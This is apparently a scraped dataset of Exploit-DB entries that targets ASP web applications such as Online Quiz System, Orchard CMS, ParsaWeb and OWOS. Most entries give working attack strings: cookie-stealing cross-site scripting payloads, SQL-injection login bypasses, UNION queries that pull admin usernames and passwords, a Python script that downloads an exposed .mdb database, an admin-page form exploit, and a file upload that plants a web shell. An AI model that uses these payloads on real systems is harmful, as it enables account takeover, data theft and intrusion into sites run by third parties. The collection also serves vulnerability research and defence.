deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27480
Description: Online Quiz System - 'prequiz.asp?exam' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17255/info

Online Quiz System is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/prequiz.asp?examid=1&exam=[XSS]
Exploit-DB #27481
Description: Online Quiz System - 'student.asp?msg' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17255/info
 
Online Quiz System is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/student.asp?msg=[XSS]
Exploit-DB #30425
Description: Online Store Application Template - 'Sign_In.aspx' SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-28
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25112/info

Online Store Application Template is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script:

anything' OR 'x'='x
Exploit-DB #3339
Description: Online Web Building 2.0 - 'id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-02-20
Author: Mehmet Ince

Exploit:
----------------------------------------------------------------------

Online Web Building v2.0 (id) Remote SQL Injection

-----------------------------------------------------------------------

Bulan: xoron

-----------------------------------------------------------------------

Download:  http://www.aspindir.com/Goster/3439

-----------------------------------------------------------------------
Exploit: http://www.target.com/ page.asp?art_id=[SQL]

Username: page.asp?art_id=-1+union+select+0,Name,2,3,4,5,6,7,8,9+from+Users+where+id=1

Pass:  page.asp?art_id=-1+union+select+0,PassWord,2,3,4,5,6,7,8,9+from+Users+where+id=1

-----------------------------------------------------------------------

Page title is username + password

-----------------------------------------------------------------------

# milw0rm.com [2007-02-20]
Exploit-DB #34492
Description: Online Work Order Suite Lite Edition - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42535/info

Online Work Order Suite Lite Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Online Work Order Suite Lite Edition 3.10 is vulnerable; other versions may also be affected. 

http://www.example.com/demo/owoslite/default.asp?show="><script>alert(document.cookie);</script>
http://www.example.com/demo/owoslite/login.asp?go="><script>alert(document.cookie);</script>
http://www.example.com/demo/owoslite/report.asp?show="><script>alert(document.cookie);</script>
Exploit-DB #15397
Description: Online Work Order System (OWOS) Professional Edition - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-11-02
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Onlinetechtools OWOS: Professional Edition? Authentication Bypass Vulnerability
Version:2.10
Price:900$
Vendor url:http://www.onlinetechtools.com
Published: 2010-11-02
Thanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic, M4n0j,SeeMe, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com)
Special Greetz: Topsecure.net,0xr00t.com,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Description:

Work smarter with OWOS: Professional Edition, the web-based help desk solution.
OWOS Pro helps you simplify support requests, e-mail communication, organize planning and scheduling,
and provide powerful access to the information you need. Code: ASP 3.0 & VBScript
?
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Vulnerability:

*Authentication ByPass Vulnerability*

Pattern: ' or 1=1 or ''=''



.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
# 0day n0 m0re #
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.

-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #34753
Description: Onlineon E-Ticaret - Database Disclosure
Type: webapps
Platform: asp
Date: 2014-09-24
Author: ZoRLu

Exploit:
#!/usr/bin/env python
#-*- coding:cp1254 -*-

# Title        : Onlineon E-Ticaret Database Disclosure Exploit (.py)
# dork         : inurl:"default.asp?git=sepet"
# Author       : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home         : http://milw00rm.com / its online
# Download     : http://www.onlineonweb.com/eticaret.html
# Demo         : http://ayvalikkokluzeytincilik.com
# date         : 06/09/2014
# Python       : V 2.7
# Thks         : exploit-db.com and others

  
import sys, urllib2, re, os, time
  
def indiriyoruz(url):
      
    import urllib
    aldosyayi = urllib.urlopen(url)
    indiraq = open(url.split('/')[-1], 'wb')
    indiraq.write(aldosyayi.read())
    aldosyayi.close()
    indiraq.close()
  
if len(sys.argv) < 2:
    os.system(['clear','cls'][1])
    print " ____________________________________________________________________"
    print "|                                                                    |"
    print "|   Onlineon E-Ticaret Database Disclosure Exploit (.py)             |"
    print "|   ZoRLu / milw00rm.com                                             |"
    print "|   exploit.py http://site.com/path/                                 |"
    print "|____________________________________________________________________|"
    sys.exit(1)
  
''' link kontrol 1 '''
                      
koybasina = "http://"
koykicina = "/"
sitemiz = sys.argv[1]

if sitemiz[-1:] != koykicina:
    sitemiz += koykicina
      
if sitemiz[:7]  != koybasina:
    sitemiz =  koybasina + sitemiz
  

database = "db/urun.mdb"
url2 = sitemiz + database
print 	"\n" + url2
print "\nlink check"
time.sleep(1)
  
''' link kontrol 2 '''
  
try:
    adreskontrol = urllib2.urlopen(url2).read()
      
    if len(adreskontrol) > 0:
                                          
        print "\nGood Job Bro!"
      
except urllib2.HTTPError:
        import os
        import sys
        print "\nForbidden Err0r, Security!"
        sys.exit(1)
      
  
''' dosya indiriliyor '''
  
if __name__ == '__main__':
    import sys
    if len(sys.argv) == 2:
        print "\nFile is Downloading\n"
        try:
            indiriyoruz(url2)
        except IOError:
            print '\nFilename not found.'
Exploit-DB #27890
Description: Open Wiki 0.78 - 'ow.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-05-17
Author: LiNuX_rOOt

Exploit:
source: https://www.securityfocus.com/bid/18013/info

Open Wiki is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

UPDATE (September 12, 2008): Additional information suggests that this issue may not exist.

Open Wiki 0.78 is reported vulnerable. Other versions may be affected as well.

http://www.example.com/ow.asp?p=[XSS]
Exploit-DB #7137
Description: OpenASP 3.0 - Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-11-17
Author: StAkeR

Exploit:
/*   
    OpenASP <= 3.0 Blind SQL Injection Vulnerability
    -----------------------------------------------------
    by athos - staker[at]hotmail[dot]it 
    thanks XaDoS,anyway i've found another sql injection 
    http://openasp.it
    -----------------------------------------------------
    
    default.asp?modulo=pages&idpage=1 or 1=1 (true)
    default.asp?modulo=pages&idpage=1 or 1=2 (false)
    default.asp?modulo=pages&idpage=-1 and substring(@@version,1,1)=4/*
    
*/

# milw0rm.com [2008-11-17]
Exploit-DB #37533
Description: Orchard CMS 1.7.3/1.8.2/1.9.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2015-07-08
Author: Paris Zoumpouloglou

Exploit:
-----------------
Background
-----------------

Orchard is a free, open source, community-focused content management
system written in ASP.NET platform using the ASP.NET MVC framework. Its
vision is to create shared components for building ASP.NET applications
and extensions, and specific applications that leverage these components
to meet the needs of end-users, scripters, and developers.

------------------------
Software Version
------------------------

The version of Orchard affected by this issue are 1.7.3, 1.8.2 and
1.9.0. Version below 1.7.3 are not affected

---------------
Description
---------------

A persistent XSS vulnerability was discovered in the Users module that
is distributed with the core distribution of the CMS. The issue
potentially allows elevation of privileges by tricking an administrator
to execute some custom crafted script on his behalf. The issue affects
the Username field, since a user is allowed to register a username
containing potentially dangerous characters.

More information can be found here
http://docs.orchardproject.net/Documentation/Patch-20150630

----------------------
Proof of Concept
----------------------

1. Attacker registers a new user account with username e.x
<script>alert("XSS")</script>
2. The administrator attempts to delete the account using the Users core
module.
3. Once the administrator clicks on the "delete" action, the XSS payload
is executed.

-------------
Mitigation
-------------

See http://docs.orchardproject.net/Documentation/Patch-20150630

-----------
Timeline
-----------

2015-06-10 Vulnerability reported to Orchard CMS development team
2015-06-12 Response and issue verification
2015-06-30 Update and patch release
2015-07-06 Public Disclosure

---------
Credits
---------

Reported by Paris Zoumpouloglou of Project Zero labs
(https://projectzero.gr)

-- 
Paris Zoumpouloglou
@pzmini0n

https://projectzero.gr
Exploit-DB #36133
Description: Orion Network Performance Monitor 10.1.3 - 'CustomChart.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2011-09-12
Author: Gustavo Roberto

Exploit:
source: https://www.securityfocus.com/bid/49614/info

Orion Network Performance Monitor is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Orion Network Performance Monitor 10.1.3 is affected; other versions may also be vulnerable. 

http://www.example.com/Orion/NetPerfMon/CustomChart.aspx?ChartName=AvgRTLoss&NetObject=N:355&ResourceID=17&NetObjectPrefix=N&Rows=&Title=%3Cscript%3Ealert%28%27ALERTA%27%29%3C/script%3E
Exploit-DB #3481
Description: Orion-Blog 2.0 - Remote Authentication Bypass
Type: webapps
Platform: asp
Date: 2007-03-15
Author: WiLdBoY

Exploit:
<!--

Orion-Blog v2.0 Version Remote Privilege Escalation Exploit

Type :

Privilege Escalation

Release Date :

{2007-03-14}

Product :

Orion-Blog

Bug :

http://localhost/script/admin/default.asp

Privilege Escalation Exploit :

-->

<title>Orion-Blog v2.0 Version Remote Privilege Escalation Exploit</title>
<body bgcolor="#000000">
<script language="JavaScript">
function ps() {
  {
    unique.action=""+document.unique.site.value+"/admin/AdminBlogNewsEdit.asp";
    unique.submit();
  }
}
</script>
<table width="500" border="0" align="center">
<font face="Verdana" size="2" color="#FF0000"><b>--- Orion-Blog v2.0 Version Remote Privilege Escalation Exploit ---</b></font>
<form name="unique" method="POST" onsubmit="ps();">
<center><font face="Arial" size="2" color="#00FF00">Site Address :</td></center><br>
<center><input type="text" name="site" value="http://localhost/script" size="44" class="unique" class="inputbox"></center><br>
<center><input type="submit" value="Apply" class="unique"></center><br>
<center><font face="Verdana" size="2" color="#FF0000"><b>UniquE-Key{UniquE-Cracker}</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>UniquE@UniquE-Key.ORG</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>http://UniquE-Key.ORG</b></font></center>

<!--

Tested :

Orion-Blog v2.0

Vulnerable :

Orion-Blog v2.0

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

-->

# milw0rm.com [2007-03-15]
Exploit-DB #25751
Description: OS4E - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-05-28
Author: Dj romty

Exploit:
source: https://www.securityfocus.com/bid/13804/info

os4e is prone to an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'login.asp' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

All versions are considered to be vulnerable at the moment. 

The following proof of concept is available:
Password= ' or ''='
Exploit-DB #15777
Description: Oto Galery 1.0 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2010-12-19
Author: DeadLy DeMon

Exploit:
+Name : Oto Galery v1.0  <<= Multiple SQL injection Vulnerabilities
+Autor : DeadLy DeMon
+Date : 18.12.2010
+Script : Oto Galery v1.0
+Vendor : http://www.iskenderaltuntas.com
+Price : 1000 TL
+Language : PHP
+Tests : Windows XP SP 3 and Backtrack4 any other OS
+Discovered by DeadLy DeMon
+ Cyber - Warrior TIM =>> *www.cyber-warrior.org*
+Greetz to All System-Hacker, BlackApple , F0RTYS3V3N , HUNT3R , Şair-ul
Cihad and All KinqSqlZCrew
Members
---------------------------------------------------------------------------------------

Var mı içinizde beni tanıyan?
Yaşanmadan çözülemeyen sır benim.
Kalmasada şöhretimi duymayan,
Kimliğimi tarif etmek zor benim..
                                    Aklınıza Geliriz Aklınız Gider...
KinqSqlZ Crew Akar...
----------------------------------------------------------------------------------------

Bug ;
carsdetail.asp?arac=[Sql Inj.]
twohandscars.asp?marka=[Sql Inj.]

---------------------------------------------------------------------------------------
Exploit-DB #21434
Description: Outfront Spooky 2.x - Login SQL Query Manipulation Password
Type: webapps
Platform: asp
Date: 2002-05-02
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/4661/info

Spooky Login is a commerical web access control and account management software package. It is distributed and maintained by Outfront, and is designed for Microsoft IIS Webservers.

Under some circumstances, it may be possible for a remote user to gain unauthorized access to pages protected by Spooky Login. The problem is a SQL query manipulation vulnerability in the authentication component.

It is possible for remote attackers to corrupt the logic of queries such that a successful login will occur regardless of the supplied password. 

User: admin (this selects the first index from the table)
Password: ' OR ''='
Exploit-DB #35923
Description: Paliz Portal - Cross-Site Scripting / Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2011-07-02
Author: Net.Edit0r

Exploit:
source: https://www.securityfocus.com/bid/48559/info

Paliz Portal is prone to multiple SQL-injection vulnerabilities and a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/Page.aspx?search=1[XSSCode]&mID=1641&Page=search/advancedsearch
http://www.example.com/News/shownews/[page].aspx?NewsId=[Sqli]
http://www.example.com/[Path]/Default.aspx?tabid=[Sqli]
Exploit-DB #19394
Description: Parodia 6.8 - 'employer-profile.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2012-06-25
Author: Carlos Mario Penagos Hollmann

Exploit:
# Exploit Title: Parodia 6.8 and early SQL injection
# Date: June 24 2012
# Exploit Author:Carlos Mario Penagos Hollmann
# Vendor Homepage: http://www.parodia.net/
# Version: 6.8
# CVE : CVE-2011-2751



http://server/' ---> blind SQL

http://server/agencyprofile.asp?AG_ID='
http://server/employer-profile.asp?ag_id='

There are other SQL Blind  injections ;)
Exploit-DB #33761
Description: Pars CMS - 'RP' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2010-03-15
Author: Isfahan

Exploit:
source: https://www.securityfocus.com/bid/38734/info

Pars CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/fa_default.asp?RP=' UNION SELECT TOP 3 AttrName FROM validTableName%00
Exploit-DB #13814
Description: Pars Design CMS - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2010-06-10
Author: Securitylab.ir

Exploit:
#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Pars Design
# Vendor: http://Parsdata.com
#################################################################
# Vulnerability Info:
# Type: Remote Arbitrary File Upload
# Risk: High
#################################################################
Vulnerability:
http://site.ir/editorv2/editor/filemanager/upload/test.html

Uploaded Here:
http://site.ir//UserFiles/shell.aspx
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://Securitylab.ir
# Contacts: info[AT]Securitylab[Dot]ir,whh_iran[AT]yahoo[DOT]com
###################################################################
Exploit-DB #6610
Description: ParsaWeb CMS - 'Search' SQL Injection
Type: webapps
Platform: asp
Date: 2008-09-28
Author: BugReport.IR

Exploit:
########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: ParsaWeb CMS SQL Injection
# Vendor: http://www.parsagostar.com
# Demo: http://cms.parsagostar.com/
# Exploit: Available
# Impact: High
# Fix: N/A
# Original advisory: http://www.bugreport.ir/index_53.htm
###################################################################################

####################
1. Description:
####################

    ParsaWeb is a commercial ASP.NET website and content management system.

####################
2. Vulnerabilities:
####################

    Input passed to the "id" parameter in default.aspx and txtSearch in search section are not properly sanitised before being used in SQL queries.
    This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.


####################
3. Exploits/POCs:
####################

    http://www.example.com/?page=page&id=-164 or 1=(select top 1 user_pass from tblUsers where user_name = 'admin')

    http://www.example.com/?page=Search
    Search:AmnPardaz%') union ALL select '1',user_name+':'+user_pass,'3','4','5','6','7','8','9','10',11 from tblUsers--



####################
4. Solution:
####################

    Edit the source code to ensure that inputs are properly sanitized.

####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2008-09-28]
Exploit-DB #32604
Description: ParsBlogger - 'blog.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-11-29
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32529/info

ParsBlogger is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/[patch]/blog.asp?=>"&#039;><ScRiPt>alert(1369)</ScRiPt>
Exploit-DB #51055
Description: Password Manager for IIS v2.0 - XSS
Type: webapps
Platform: asp
Date: 2023-03-25
Author: VP4TR10T

Exploit:
# Exploit Title: Password Manager for IIS v2.0 - XSS
# Exploit Author: VP4TR10T
# Vendor Homepage: http://passwordmanager.adiscon.com/en/manual/
# Software Link: http://passwordmanager.adiscon.com/
<http://passwordmanager.adiscon.com/>
# Version: *Version 2.0
# Tested on: WINDOWS
# CVE : CVE-2022-36664


Affected URI (when changing user password):
POST /isapi/PasswordManager.dll HTTP/1.1

Affected Parameter in http
payload:*ReturnURL*=<script>alert(document.cookie)</script>

*Cordially,*